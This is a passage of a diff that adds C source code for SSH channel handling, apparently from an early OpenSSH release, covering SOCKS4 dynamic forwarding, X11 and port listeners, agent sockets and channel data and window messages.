== 1) { + c->type = SSH_CHANNEL_OPEN; + if (compat20) + channel_pre_open_20(c, readset, writeset); + else + channel_pre_open_15(c, readset, writeset); + } else if (ret == -1) { + debug("X11 rejected %d i%d/o%d", c->self, c->istate, c->ostate); + chan_read_failed(c); /** force close? */ + chan_write_failed(c); + debug("X11 closed %d i%d/o%d", c->self, c->istate, c->ostate); + } +} + +/* try to decode a socks4 header */ +int +channel_decode_socks4(Channel *c, fd_set * readset, fd_set * writeset) +{ + u_char *p, *host; + int len, have, i, found; + char username[256]; + struct { + u_int8_t version; + u_int8_t command; + u_int16_t dest_port; + struct in_addr dest_addr; + } s4_req, s4_rsp; + + debug2("channel %d: decode socks4", c->self); + + have = buffer_len(&c->input); + len = sizeof(s4_req); + if (have < len) + return 0; + p = buffer_ptr(&c->input); + for (found = 0, i = len; i < have; i++) { + if (p[i] == '\0') { + found = 1; + break; + } + if (i > 1024) { + /* the peer is probably sending garbage */ + debug("channel %d: decode socks4: too long", + c->self); + return -1; + } + } + if (!found) + return 0; + buffer_get(&c->input, (char *)&s4_req.version, 1); + buffer_get(&c->input, (char *)&s4_req.command, 1); + buffer_get(&c->input, (char *)&s4_req.dest_port, 2); + buffer_get(&c->input, (char *)&s4_req.dest_addr, 4); + have = buffer_len(&c->input); + p = buffer_ptr(&c->input); + len = strlen(p); + debug2("channel %d: decode socks4: user %s/%d", c->self, p, len); + if (len > have) + fatal("channel %d: decode socks4: len %d > have %d", + c->self, len, have); + strlcpy(username, p, sizeof(username)); + buffer_consume(&c->input, len); + buffer_consume(&c->input, 1); /* trailing '\0' */ + + host = inet_ntoa(s4_req.dest_addr); + strlcpy(c->path, host, sizeof(c->path)); + c->host_port = ntohs(s4_req.dest_port); + + debug("channel %d: dynamic request: socks4 host %s port %u command %u", + c->self, host, c->host_port, s4_req.command); + + if (s4_req.command != 1) { + debug("channel %d: cannot handle: socks4 cn %d", + c->self, s4_req.command); + return -1; + } + s4_rsp.version = 0; /* vn: 0 for reply */ + s4_rsp.command = 90; /* cd: req granted */ + s4_rsp.dest_port = 0; /* ignored */ + s4_rsp.dest_addr.s_addr = INADDR_ANY; /* ignored */ + buffer_append(&c->output, (char *)&s4_rsp, sizeof(s4_rsp)); + return 1; +} + +/* dynamic port forwarding */ +void +channel_pre_dynamic(Channel *c, fd_set * readset, fd_set * writeset) +{ + u_char *p; + int have, ret; + + have = buffer_len(&c->input); + + debug2("channel %d: pre_dynamic: have %d", c->self, have); + /* buffer_dump(&c->input); */ + /* check if the fixed size part of the packet is in buffer. */ + if (have < 4) { + /* need more */ + FD_SET(c->sock, readset); + return; + } + /* try to guess the protocol */ + p = buffer_ptr(&c->input); + switch (p[0]) { + case 0x04: + ret = channel_decode_socks4(c, readset, writeset); + break; + default: + ret = -1; + break; + } + if (ret < 0) { + channel_free(c->self); + } else if (ret == 0) { + debug2("channel %d: pre_dynamic: need more", c->self); + /* need more */ + FD_SET(c->sock, readset); + } else { + /* switch to the next state */ + c->type = SSH_CHANNEL_OPENING; + port_open_helper(c, "direct-tcpip"); + } +} + +/* This is our fake X11 server socket. */ +void +channel_post_x11_listener(Channel *c, fd_set * readset, fd_set * writeset) +{ + struct sockaddr addr; + int newsock, newch; + socklen_t addrlen; + char buf[16384], *remote_ipaddr; + int remote_port; + + if (FD_ISSET(c->sock, readset)) { + debug("X11 connection requested."); + addrlen = sizeof(addr); + newsock = accept(c->sock, &addr, &addrlen); + if (newsock < 0) { + error("accept: %.100s", strerror(errno)); + return; + } + remote_ipaddr = get_peer_ipaddr(newsock); + remote_port = get_peer_port(newsock); + snprintf(buf, sizeof buf, "X11 connection from %.200s port %d", + remote_ipaddr, remote_port); + + newch = channel_new("x11", + SSH_CHANNEL_OPENING, newsock, newsock, -1, + c->local_window_max, c->local_maxpacket, + 0, xstrdup(buf), 1); + if (compat20) { + packet_start(SSH2_MSG_CHANNEL_OPEN); + packet_put_cstring("x11"); + packet_put_int(newch); + packet_put_int(c->local_window_max); + packet_put_int(c->local_maxpacket); + /* originator ipaddr and port */ + packet_put_cstring(remote_ipaddr); + if (datafellows & SSH_BUG_X11FWD) { + debug("ssh2 x11 bug compat mode"); + } else { + packet_put_int(remote_port); + } + packet_send(); + } else { + packet_start(SSH_SMSG_X11_OPEN); + packet_put_int(newch); + if (have_hostname_in_open) + packet_put_string(buf, strlen(buf)); + packet_send(); + } + xfree(remote_ipaddr); + } +} + +void +port_open_helper(Channel *c, char *rtype) +{ + int direct; + char buf[1024]; + char *remote_ipaddr = get_peer_ipaddr(c->sock); + u_short remote_port = get_peer_port(c->sock); + + direct = (strcmp(rtype, "direct-tcpip") == 0); + + snprintf(buf, sizeof buf, + "%s: listening port %d for %.100s port %d, " + "connect from %.200s port %d", + rtype, c->listening_port, c->path, c->host_port, + remote_ipaddr, remote_port); + + xfree(c->remote_name); + c->remote_name = xstrdup(buf); + + if (compat20) { + packet_start(SSH2_MSG_CHANNEL_OPEN); + packet_put_cstring(rtype); + packet_put_int(c->self); + packet_put_int(c->local_window_max); + packet_put_int(c->local_maxpacket); + if (direct) { + /* target host, port */ + packet_put_cstring(c->path); + packet_put_int(c->host_port); + } else { + /* listen address, port */ + packet_put_cstring(c->path); + packet_put_int(c->listening_port); + } + /* originator host and port */ + packet_put_cstring(remote_ipaddr); + packet_put_int(remote_port); + packet_send(); + } else { + packet_start(SSH_MSG_PORT_OPEN); + packet_put_int(c->self); + packet_put_cstring(c->path); + packet_put_int(c->host_port); + if (have_hostname_in_open) + packet_put_cstring(c->remote_name); + packet_send(); + } + xfree(remote_ipaddr); +} + +/* + * This socket is listening for connections to a forwarded TCP/IP port. + */ +void +channel_post_port_listener(Channel *c, fd_set * readset, fd_set * writeset) +{ + Channel *nc; + struct sockaddr addr; + int newsock, newch, nextstate; + socklen_t addrlen; + char *rtype; + + if (FD_ISSET(c->sock, readset)) { + debug("Connection to port %d forwarding " + "to %.100s port %d requested.", + c->listening_port, c->path, c->host_port); + + rtype = (c->type == SSH_CHANNEL_RPORT_LISTENER) ? + "forwarded-tcpip" : "direct-tcpip"; + nextstate = (c->host_port == 0) ? SSH_CHANNEL_DYNAMIC : + SSH_CHANNEL_OPENING; + + addrlen = sizeof(addr); + newsock = accept(c->sock, &addr, &addrlen); + if (newsock < 0) { + error("accept: %.100s", strerror(errno)); + return; + } + newch = channel_new(rtype, + nextstate, newsock, newsock, -1, + c->local_window_max, c->local_maxpacket, + 0, xstrdup(rtype), 1); + + nc = channel_lookup(newch); + if (nc == NULL) { + error("xxx: no new channel:"); + return; + } + nc->listening_port = c->listening_port; + nc->host_port = c->host_port; + strlcpy(nc->path, c->path, sizeof(nc->path)); + + if (nextstate != SSH_CHANNEL_DYNAMIC) + port_open_helper(nc, rtype); + } +} + +/* + * This is the authentication agent socket listening for connections from + * clients. + */ +void +channel_post_auth_listener(Channel *c, fd_set * readset, fd_set * writeset) +{ + struct sockaddr addr; + int newsock, newch; + socklen_t addrlen; + + if (FD_ISSET(c->sock, readset)) { + addrlen = sizeof(addr); + newsock = accept(c->sock, &addr, &addrlen); + if (newsock < 0) { + error("accept from auth socket: %.100s", strerror(errno)); + return; + } + newch = channel_new("accepted auth socket", + SSH_CHANNEL_OPENING, newsock, newsock, -1, + c->local_window_max, c->local_maxpacket, + 0, xstrdup("accepted auth socket"), 1); + if (compat20) { + packet_start(SSH2_MSG_CHANNEL_OPEN); + packet_put_cstring("auth-agent@openssh.com"); + packet_put_int(newch); + packet_put_int(c->local_window_max); + packet_put_int(c->local_maxpacket); + } else { + packet_start(SSH_SMSG_AGENT_OPEN); + packet_put_int(newch); + } + packet_send(); + } +} + +void +channel_post_connecting(Channel *c, fd_set * readset, fd_set * writeset) +{ + if (FD_ISSET(c->sock, writeset)) { + int err = 0; + int sz = sizeof(err); + c->type = SSH_CHANNEL_OPEN; + if (getsockopt(c->sock, SOL_SOCKET, SO_ERROR, (char *)&err, &sz) < 0) { + debug("getsockopt SO_ERROR failed"); + } else { + if (err == 0) { + debug("channel %d: connected)", c->self); + } else { + debug("channel %d: not connected: %s", + c->self, strerror(err)); + chan_read_failed(c); + chan_write_failed(c); + } + } + } +} + +int +channel_handle_rfd(Channel *c, fd_set * readset, fd_set * writeset) +{ + char buf[16*1024]; + int len; + + if (c->rfd != -1 && + FD_ISSET(c->rfd, readset)) { + len = read(c->rfd, buf, sizeof(buf)); + if (len < 0 && (errno == EINTR || errno == EAGAIN)) + return 1; + if (len <= 0) { + debug("channel %d: read<=0 rfd %d len %d", + c->self, c->rfd, len); + if (c->type != SSH_CHANNEL_OPEN) { + debug("channel %d: not open", c->self); + channel_free(c->self); + return -1; + } else if (compat13) { + buffer_consume(&c->output, buffer_len(&c->output)); + c->type = SSH_CHANNEL_INPUT_DRAINING; + debug("channel %d: status set to input draining.", c->self); + } else { + chan_read_failed(c); + } + return -1; + } + if(c->input_filter != NULL) { + if (c->input_filter(c, buf, len) == -1) { + debug("channel %d: filter stops", c->self); + chan_read_failed(c); + } + } else { + buffer_append(&c->input, buf, len); + } + } + return 1; +} +int +channel_handle_wfd(Channel *c, fd_set * readset, fd_set * writeset) +{ + struct termios tio; + int len; + + /* Send buffered output data to the socket. */ + if (c->wfd != -1 && + FD_ISSET(c->wfd, writeset) && + buffer_len(&c->output) > 0) { + len = write(c->wfd, buffer_ptr(&c->output), + buffer_len(&c->output)); + if (len < 0 && (errno == EINTR || errno == EAGAIN)) + return 1; + if (len <= 0) { + if (c->type != SSH_CHANNEL_OPEN) { + debug("channel %d: not open", c->self); + channel_free(c->self); + return -1; + } else if (compat13) { + buffer_consume(&c->output, buffer_len(&c->output)); + debug("channel %d: status set to input draining.", c->self); + c->type = SSH_CHANNEL_INPUT_DRAINING; + } else { + chan_write_failed(c); + } + return -1; + } + if (compat20 && c->isatty) { + if (tcgetattr(c->wfd, &tio) == 0 && + !(tio.c_lflag & ECHO) && (tio.c_lflag & ICANON)) { + /* + * Simulate echo to reduce the impact of + * traffic analysis. We need to match the + * size of a SSH2_MSG_CHANNEL_DATA message + * (4 byte channel id + data) + */ + packet_send_ignore(4 + len); + packet_send(); + } + } + buffer_consume(&c->output, len); + if (compat20 && len > 0) { + c->local_consumed += len; + } + } + return 1; +} +int +channel_handle_efd(Channel *c, fd_set * readset, fd_set * writeset) +{ + char buf[16*1024]; + int len; + +/** XXX handle drain efd, too */ + if (c->efd != -1) { + if (c->extended_usage == CHAN_EXTENDED_WRITE && + FD_ISSET(c->efd, writeset) && + buffer_len(&c->extended) > 0) { + len = write(c->efd, buffer_ptr(&c->extended), + buffer_len(&c->extended)); + debug2("channel %d: written %d to efd %d", + c->self, len, c->efd); + if (len < 0 && (errno == EINTR || errno == EAGAIN)) + return 1; + if (len <= 0) { + debug2("channel %d: closing write-efd %d", + c->self, c->efd); + close(c->efd); + c->efd = -1; + } else { + buffer_consume(&c->extended, len); + c->local_consumed += len; + } + } else if (c->extended_usage == CHAN_EXTENDED_READ && + FD_ISSET(c->efd, readset)) { + len = read(c->efd, buf, sizeof(buf)); + debug2("channel %d: read %d from efd %d", + c->self, len, c->efd); + if (len < 0 && (errno == EINTR || errno == EAGAIN)) + return 1; + if (len <= 0) { + debug2("channel %d: closing read-efd %d", + c->self, c->efd); + close(c->efd); + c->efd = -1; + } else { + buffer_append(&c->extended, buf, len); + } + } + } + return 1; +} +int +channel_check_window(Channel *c) +{ + if (c->type == SSH_CHANNEL_OPEN && + !(c->flags & (CHAN_CLOSE_SENT|CHAN_CLOSE_RCVD)) && + c->local_window < c->local_window_max/2 && + c->local_consumed > 0) { + packet_start(SSH2_MSG_CHANNEL_WINDOW_ADJUST); + packet_put_int(c->remote_id); + packet_put_int(c->local_consumed); + packet_send(); + debug2("channel %d: window %d sent adjust %d", + c->self, c->local_window, + c->local_consumed); + c->local_window += c->local_consumed; + c->local_consumed = 0; + } + return 1; +} + +void +channel_post_open_1(Channel *c, fd_set * readset, fd_set * writeset) +{ + channel_handle_rfd(c, readset, writeset); + channel_handle_wfd(c, readset, writeset); +} + +void +channel_post_open_2(Channel *c, fd_set * readset, fd_set * writeset) +{ + channel_handle_rfd(c, readset, writeset); + channel_handle_wfd(c, readset, writeset); + channel_handle_efd(c, readset, writeset); + + channel_check_window(c); +} + +void +channel_post_output_drain_13(Channel *c, fd_set * readset, fd_set * writeset) +{ + int len; + /* Send buffered output data to the socket. */ + if (FD_ISSET(c->sock, writeset) && buffer_len(&c->output) > 0) { + len = write(c->sock, buffer_ptr(&c->output), + buffer_len(&c->output)); + if (len <= 0) + buffer_consume(&c->output, buffer_len(&c->output)); + else + buffer_consume(&c->output, len); + } +} + +void +channel_handler_init_20(void) +{ + channel_pre[SSH_CHANNEL_OPEN] = &channel_pre_open_20; + channel_pre[SSH_CHANNEL_X11_OPEN] = &channel_pre_x11_open; + channel_pre[SSH_CHANNEL_PORT_LISTENER] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_RPORT_LISTENER] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_X11_LISTENER] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_AUTH_SOCKET] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_CONNECTING] = &channel_pre_connecting; + channel_pre[SSH_CHANNEL_DYNAMIC] = &channel_pre_dynamic; + + channel_post[SSH_CHANNEL_OPEN] = &channel_post_open_2; + channel_post[SSH_CHANNEL_PORT_LISTENER] = &channel_post_port_listener; + channel_post[SSH_CHANNEL_RPORT_LISTENER] = &channel_post_port_listener; + channel_post[SSH_CHANNEL_X11_LISTENER] = &channel_post_x11_listener; + channel_post[SSH_CHANNEL_AUTH_SOCKET] = &channel_post_auth_listener; + channel_post[SSH_CHANNEL_CONNECTING] = &channel_post_connecting; + channel_post[SSH_CHANNEL_DYNAMIC] = &channel_post_open_2; +} + +void +channel_handler_init_13(void) +{ + channel_pre[SSH_CHANNEL_OPEN] = &channel_pre_open_13; + channel_pre[SSH_CHANNEL_X11_OPEN] = &channel_pre_x11_open_13; + channel_pre[SSH_CHANNEL_X11_LISTENER] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_PORT_LISTENER] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_AUTH_SOCKET] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_INPUT_DRAINING] = &channel_pre_input_draining; + channel_pre[SSH_CHANNEL_OUTPUT_DRAINING] = &channel_pre_output_draining; + channel_pre[SSH_CHANNEL_CONNECTING] = &channel_pre_connecting; + channel_pre[SSH_CHANNEL_DYNAMIC] = &channel_pre_dynamic; + + channel_post[SSH_CHANNEL_OPEN] = &channel_post_open_1; + channel_post[SSH_CHANNEL_X11_LISTENER] = &channel_post_x11_listener; + channel_post[SSH_CHANNEL_PORT_LISTENER] = &channel_post_port_listener; + channel_post[SSH_CHANNEL_AUTH_SOCKET] = &channel_post_auth_listener; + channel_post[SSH_CHANNEL_OUTPUT_DRAINING] = &channel_post_output_drain_13; + channel_post[SSH_CHANNEL_CONNECTING] = &channel_post_connecting; + channel_post[SSH_CHANNEL_DYNAMIC] = &channel_post_open_1; +} + +void +channel_handler_init_15(void) +{ + channel_pre[SSH_CHANNEL_OPEN] = &channel_pre_open_15; + channel_pre[SSH_CHANNEL_X11_OPEN] = &channel_pre_x11_open; + channel_pre[SSH_CHANNEL_X11_LISTENER] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_PORT_LISTENER] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_AUTH_SOCKET] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_CONNECTING] = &channel_pre_connecting; + channel_pre[SSH_CHANNEL_DYNAMIC] = &channel_pre_dynamic; + + channel_post[SSH_CHANNEL_X11_LISTENER] = &channel_post_x11_listener; + channel_post[SSH_CHANNEL_PORT_LISTENER] = &channel_post_port_listener; + channel_post[SSH_CHANNEL_AUTH_SOCKET] = &channel_post_auth_listener; + channel_post[SSH_CHANNEL_OPEN] = &channel_post_open_1; + channel_post[SSH_CHANNEL_CONNECTING] = &channel_post_connecting; + channel_post[SSH_CHANNEL_DYNAMIC] = &channel_post_open_1; +} + +void +channel_handler_init(void) +{ + int i; + for(i = 0; i < SSH_CHANNEL_MAX_TYPE; i++) { + channel_pre[i] = NULL; + channel_post[i] = NULL; + } + if (compat20) + channel_handler_init_20(); + else if (compat13) + channel_handler_init_13(); + else + channel_handler_init_15(); +} + +void +channel_handler(chan_fn *ftab[], fd_set * readset, fd_set * writeset) +{ + static int did_init = 0; + int i; + Channel *c; + + if (!did_init) { + channel_handler_init(); + did_init = 1; + } + for (i = 0; i < channels_alloc; i++) { + c = &channels[i]; + if (c->type == SSH_CHANNEL_FREE) + continue; + if (ftab[c->type] == NULL) + continue; + (*ftab[c->type])(c, readset, writeset); + if (chan_is_dead(c)) { + /* + * we have to remove the fd's from the select mask + * before the channels are free'd and the fd's are + * closed + */ + if (c->wfd != -1) + FD_CLR(c->wfd, writeset); + if (c->rfd != -1) + FD_CLR(c->rfd, readset); + if (c->efd != -1) { + if (c->extended_usage == CHAN_EXTENDED_READ) + FD_CLR(c->efd, readset); + if (c->extended_usage == CHAN_EXTENDED_WRITE) + FD_CLR(c->efd, writeset); + } + channel_free(c->self); + } + } +} + +void +channel_prepare_select(fd_set **readsetp, fd_set **writesetp, int *maxfdp, + int rekeying) +{ + int n; + u_int sz; + + n = MAX(*maxfdp, channel_max_fd); + + sz = howmany(n+1, NFDBITS) * sizeof(fd_mask); + if (*readsetp == NULL || n > *maxfdp) { + if (*readsetp) + xfree(*readsetp); + if (*writesetp) + xfree(*writesetp); + *readsetp = xmalloc(sz); + *writesetp = xmalloc(sz); + *maxfdp = n; + } + memset(*readsetp, 0, sz); + memset(*writesetp, 0, sz); + + if (!rekeying) + channel_handler(channel_pre, *readsetp, *writesetp); +} + +void +channel_after_select(fd_set * readset, fd_set * writeset) +{ + channel_handler(channel_post, readset, writeset); +} + +/* If there is data to send to the connection, enqueue some of it now. */ + +void +channel_output_poll() +{ + int len, i; + Channel *c; + + for (i = 0; i < channels_alloc; i++) { + c = &channels[i]; + + /* We are only interested in channels that can have buffered incoming data. */ + if (compat13) { + if (c->type != SSH_CHANNEL_OPEN && + c->type != SSH_CHANNEL_INPUT_DRAINING) + continue; + } else { + if (c->type != SSH_CHANNEL_OPEN) + continue; + } + if (compat20 && + (c->flags & (CHAN_CLOSE_SENT|CHAN_CLOSE_RCVD))) { + /* XXX is this true? */ + debug2("channel %d: no data after CLOSE", c->self); + continue; + } + + /* Get the amount of buffered data for this channel. */ + if ((c->istate == CHAN_INPUT_OPEN || + c->istate == CHAN_INPUT_WAIT_DRAIN) && + (len = buffer_len(&c->input)) > 0) { + /* Send some data for the other side over the secure connection. */ + if (compat20) { + if (len > c->remote_window) + len = c->remote_window; + if (len > c->remote_maxpacket) + len = c->remote_maxpacket; + } else { + if (packet_is_interactive()) { + if (len > 1024) + len = 512; + } else { + /* Keep the packets at reasonable size. */ + if (len > packet_get_maxsize()/2) + len = packet_get_maxsize()/2; + } + } + if (len > 0) { + packet_start(compat20 ? + SSH2_MSG_CHANNEL_DATA : SSH_MSG_CHANNEL_DATA); + packet_put_int(c->remote_id); + packet_put_string(buffer_ptr(&c->input), len); + packet_send(); + buffer_consume(&c->input, len); + c->remote_window -= len; + } + } else if (c->istate == CHAN_INPUT_WAIT_DRAIN) { + if (compat13) + fatal("cannot happen: istate == INPUT_WAIT_DRAIN for proto 1.3"); + /* + * input-buffer is empty and read-socket shutdown: + * tell peer, that we will not send more data: send IEOF + */ + chan_ibuf_empty(c); + } + /* Send extended data, i.e. stderr */ + if (compat20 && + c->remote_window > 0 && + (len = buffer_len(&c->extended)) > 0 && + c->extended_usage == CHAN_EXTENDED_READ) { + debug2("channel %d: rwin %d elen %d euse %d", + c->self, c->remote_window, buffer_len(&c->extended), + c->extended_usage); + if (len > c->remote_window) + len = c->remote_window; + if (len > c->remote_maxpacket) + len = c->remote_maxpacket; + packet_start(SSH2_MSG_CHANNEL_EXTENDED_DATA); + packet_put_int(c->remote_id); + packet_put_int(SSH2_EXTENDED_DATA_STDERR); + packet_put_string(buffer_ptr(&c->extended), len); + packet_send(); + buffer_consume(&c->extended, len); + c->remote_window -= len; + debug2("channel %d: sent ext data %d", c->self, len); + } + } +} + +/* + * This is called when a packet of type CHANNEL_DATA has just been received. + * The message type has already been consumed, but channel number and data is + * still there. + */ + +void +channel_input_data(int type, int plen, void *ctxt) +{ + int id; + char *data; + u_int data_len; + Channel *c; + + /* Get the channel number and verify it. */ + id = packet_get_int(); + c = channel_lookup(id); + if (c == NULL) + packet_disconnect("Received data for nonexistent channel %d.", id); + + /* Ignore any data for non-open channels (might happen on close) */ + if (c->type != SSH_CHANNEL_OPEN && + c->type != SSH_CHANNEL_X11_OPEN) + return; + + /* same for protocol 1.5 if output end is no longer open */ + if (!compat13 && c->ostate != CHAN_OUTPUT_OPEN) + return; + + /* Get the data. */ + data = packet_get_string(&data_len); + packet_done(); + + if (compat20){ + if (data_len > c->local_maxpacket) { + log("channel %d: rcvd big packet %d, maxpack %d", + c->self, data_len, c->local_maxpacket); + } + if (data_len > c->local_window) { + log("channel %d: rcvd too much data %d, win %d", + c->self, data_len, c->local_window); + xfree(data); + return; + } + c->local_window -= data_len; + }else{ + packet_integrity_check(plen, 4 + 4 + data_len, type); + } + buffer_append(&c->output, data, data_len); + xfree(data); +} +void +channel_input_extended_data(int type, int plen, void *ctxt) +{ + int id; + int tcode; + char *data; + u_int data_len; + Channel *c; + + /* Get the channel number and verify it. */ + id = packet_get_int(); + c = channel_lookup(id); + + if (c == NULL) + packet_disconnect("Received extended_data for bad channel %d.", id); + if (c->type != SSH_CHANNEL_OPEN) { + log("channel %d: ext data for non open", id); + return; + } + tcode = packet_get_int(); + if (c->efd == -1 || + c->extended_usage != CHAN_EXTENDED_WRITE || + tcode != SSH2_EXTENDED_DATA_STDERR) { + log("channel %d: bad ext data", c->self); + return; + } + data = packet_get_string(&data_len); + packet_done(); + if (data_len > c->local_window) { + log("channel %d: rcvd too much extended_data %d, win %d", + c->self, data_len, c->local_window); + xfree(data); + return; + } + debug2("channel %d: rcvd ext data %d", c->self, data_len); + c->local_window -= data_len; + buffer_append(&c->extended, data, data_len); + xfree(data); +} + + +/* + * Returns true if no channel has too much buffered data, and false if one or + * more channel is overfull. + */ + +int +channel_not_very_much_buffered_data() +{ + u_int i; + Channel *c; + + for (i = 0; i < channels_alloc; i++) { + c = &channels[i]; + if (c->type == SSH_CHANNEL_OPEN) { + if (!compat20 && buffer_len(&c->input) > packet_get_maxsize()) { + debug("channel %d: big input buffer %d", + c->self, buffer_len(&c->input)); + return 0; + } + if (buffer_len(&c->output) > packet_get_maxsize()) { + debug("channel %d: big output buffer %d", + c->self, buffer_len(&c->output)); + return 0; + } + } + } + return 1; +} + +void +channel_input_ieof(int type, int plen, void *ctxt) +{ + int id; + Channel *c; + + packet_integrity_check(plen, 4, type); + + id = packet_get_int(); + c = channel_lookup(id); + if (c == NULL) + packet_disconnect("Received ieof for nonexistent channel %d.", id); + chan_rcvd_ieof(c); +} + +void +channel_input_close(int type, int plen, void *ctxt) +{ + int id; + Channel *c; + + packet_integrity_check(plen, 4, type); + + id = packet_get_int(); + c = channel_lookup(id); + if (c == NULL) + packet_disconnect("Received close for nonexistent channel %d.", id); + + /* + * Send a confirmation that we have closed the channel and no more + * data is coming for it. + */ + packet_start(SSH_MSG_CHANNEL_CLOSE_CONFIRMATION); + packet_put_int(c->remote_id); + packet_send(); + + /* + * If the channel is in closed state, we have sent a close request, + * and the other side will eventually respond with a confirmation. + * Thus, we cannot free the channel here, because then there would be + * no-one to receive the confirmation. The channel gets freed when + * the confirmation arrives. + */ + if (c->type != SSH_CHANNEL_CLOSED) { + /* + * Not a closed channel - mark it as draining, which will + * cause it to be freed later. + */ + buffer_consume(&c->input, buffer_len(&c->input)); + c->type = SSH_CHANNEL_OUTPUT_DRAINING; + } +} + +/* proto version 1.5 overloads CLOSE_CONFIRMATION with OCLOSE */ +void +channel_input_oclose(int type, int plen, void *ctxt) +{ + int id = packet_get_int(); + Channel *c = channel_lookup(id); + packet_integrity_check(plen, 4, type); + if (c == NULL) + packet_disconnect("Received oclose for nonexistent channel %d.", id); + chan_rcvd_oclose(c); +} + +void +channel_input_close_confirmation(int type, int plen, void *ctxt) +{ + int id = packet_get_int(); + Channel *c = channel_lookup(id); + + packet_done(); + if (c == NULL) + packet_disconnect("Received close confirmation for " + "out-of-range channel %d.", id); + if (c->type != SSH_CHANNEL_CLOSED) + packet_disconnect("Received close confirmation for " + "non-closed channel %d (type %d).", id, c->type); + channel_free(c->self); +} + +void +channel_input_open_confirmation(int type, int plen, void *ctxt) +{ + int id, remote_id; + Channel *c; + + if (!compat20) + packet_integrity_check(plen, 4 + 4, type); + + id = packet_get_int(); + c = channel_lookup(id); + + if (c==NULL || c->type != SSH_CHANNEL_OPENING) + packet_disconnect("Received open confirmation for " + "non-opening channel %d.", id); + remote_id = packet_get_int(); + /* Record the remote channel number and mark that the channel is now open. */ + c->remote_id = remote_id; + c->type = SSH_CHANNEL_OPEN; + + if (compat20) { + c->remote_window = packet_get_int(); + c->remote_maxpacket = packet_get_int(); + packet_done(); + if (c->cb_fn != NULL && c->cb_event == type) { + debug2("callback start"); + c->cb_fn(c->self, c->cb_arg); + debug2("callback done"); + } + debug("channel %d: open confirm rwindow %d rmax %d", c->self, + c->remote_window, c->remote_maxpacket); + } +} + +void +channel_input_open_failure(int type, int plen, void *ctxt) +{ + int id, reason; + char *msg = NULL, *lang = NULL; + Channel *c; + + if (!compat20) + packet_integrity_check(plen, 4, type); + + id = packet_get_int(); + c = channel_lookup(id); + + if (c==NULL || c->type != SSH_CHANNEL_OPENING) + packet_disconnect("Received open failure for " + "non-opening channel %d.", id); + if (compat20) { + reason = packet_get_int(); + if (packet_remaining() > 0) { + msg = packet_get_string(NULL); + lang = packet_get_string(NULL); + } + packet_done(); + log("channel_open_failure: %d: reason %d %s", id, + reason, msg ? msg : ""); + if (msg != NULL) + xfree(msg); + if (lang != NULL) + xfree(lang); + } + /* Free the channel. This will also close the socket. */ + channel_free(id); +} + +void +channel_input_channel_request(int type, int plen, void *ctxt) +{ + int id; + Channel *c; + + id = packet_get_int(); + c = channel_lookup(id); + + if (c == NULL || + (c->type != SSH_CHANNEL_OPEN && c->type != SSH_CHANNEL_LARVAL)) + packet_disconnect("Received request for " + "non-open channel %d.", id); + if (c->cb_fn != NULL && c->cb_event == type) { + debug2("callback start"); + c->cb_fn(c->self, c->cb_arg); + debug2("callback done"); + } else { + char *service = packet_get_string(NULL); + debug("channel %d: rcvd request for %s", c->self, service); + debug("cb_fn %p cb_event %d", c->cb_fn , c->cb_event); + xfree(service); + } +} + +void +channel_input_window_adjust(int type, int plen, void *ctxt) +{ + Channel *c; + int id, adjust; + + if (!compat20) + return; + + /* Get the channel number and verify it. */ + id = packet_get_int(); + c = channel_lookup(id); + + if (c == NULL || c->type != SSH_CHANNEL_OPEN) { + log("Received window adjust for " + "non-open channel %d.", id); + return; + } + adjust = packet_get_int(); + packet_done(); + debug2("channel %d: rcvd adjust %d", id, adjust); + c->remote_window += adjust; +} + +/* + * Stops listening for channels, and removes any unix domain sockets that we + * might have. + */ + +void +channel_stop_listening() +{ + int i; + for (i = 0; i < channels_alloc; i++) { + switch (channels[i].type) { + case SSH_CHANNEL_AUTH_SOCKET: + close(channels[i].sock); + unlink(channels[i].path); + channel_free(i); + break; + case SSH_CHANNEL_PORT_LISTENER: + case SSH_CHANNEL_RPORT_LISTENER: + case SSH_CHANNEL_X11_LISTENER: + close(channels[i].sock); + channel_free(i); + break; + default: + break; + } + } +} + +/* + * Closes the sockets/fds of all channels. This is used to close extra file + * descriptors after a fork. + */ + +void +channel_close_all() +{ + int i; + for (i = 0; i < channels_alloc; i++) + if (channels[i].type != SSH_CHANNEL_FREE) + channel_close_fds(&channels[i]); +} + +/* Returns true if any channel is still open. */ + +int +channel_still_open() +{ + u_int i; + for (i = 0; i < channels_alloc; i++) + switch (channels[i].type) { + case SSH_CHANNEL_FREE: + case SSH_CHANNEL_X11_LISTENER: + case SSH_CHANNEL_PORT_LISTENER: + case SSH_CHANNEL_RPORT_LISTENER: + case SSH_CHANNEL_CLOSED: + case SSH_CHANNEL_AUTH_SOCKET: + case SSH_CHANNEL_DYNAMIC: + case SSH_CHANNEL_CONNECTING: /* XXX ??? */ + continue; + case SSH_CHANNEL_LARVAL: + if (!compat20) + fatal("cannot happen: SSH_CHANNEL_LARVAL"); + continue; + case SSH_CHANNEL_OPENING: + case SSH_CHANNEL_OPEN: + case SSH_CHANNEL_X11_OPEN: + return 1; + case SSH_CHANNEL_INPUT_DRAINING: + case SSH_CHANNEL_OUTPUT_DRAINING: + if (!compat13) + fatal("cannot happen: OUT_DRAIN"); + return 1; + default: + fatal("channel_still_open: bad channel type %d", channels[i].type); + /* NOTREACHED */ + } + return 0; +} + +/* Returns the id of an open channel suitable for keepaliving */ + +int +channel_find_open() +{ + u_int i; + for (i = 0; i < channels_alloc; i++) + switch (channels[i].type) { + case SSH_CHANNEL_CLOSED: + case SSH_CHANNEL_DYNAMIC: + case SSH_CHANNEL_FREE: + case SSH_CHANNEL_X11_LISTENER: + case SSH_CHANNEL_PORT_LISTENER: + case SSH_CHANNEL_RPORT_LISTENER: + case SSH_CHANNEL_OPENING: + continue; + case SSH_CHANNEL_LARVAL: + case SSH_CHANNEL_AUTH_SOCKET: + case SSH_CHANNEL_CONNECTING: /* XXX ??? */ + case SSH_CHANNEL_OPEN: + case SSH_CHANNEL_X11_OPEN: + return i; + case SSH_CHANNEL_INPUT_DRAINING: + case SSH_CHANNEL_OUTPUT_DRAINING: + if (!compat13) + fatal("cannot 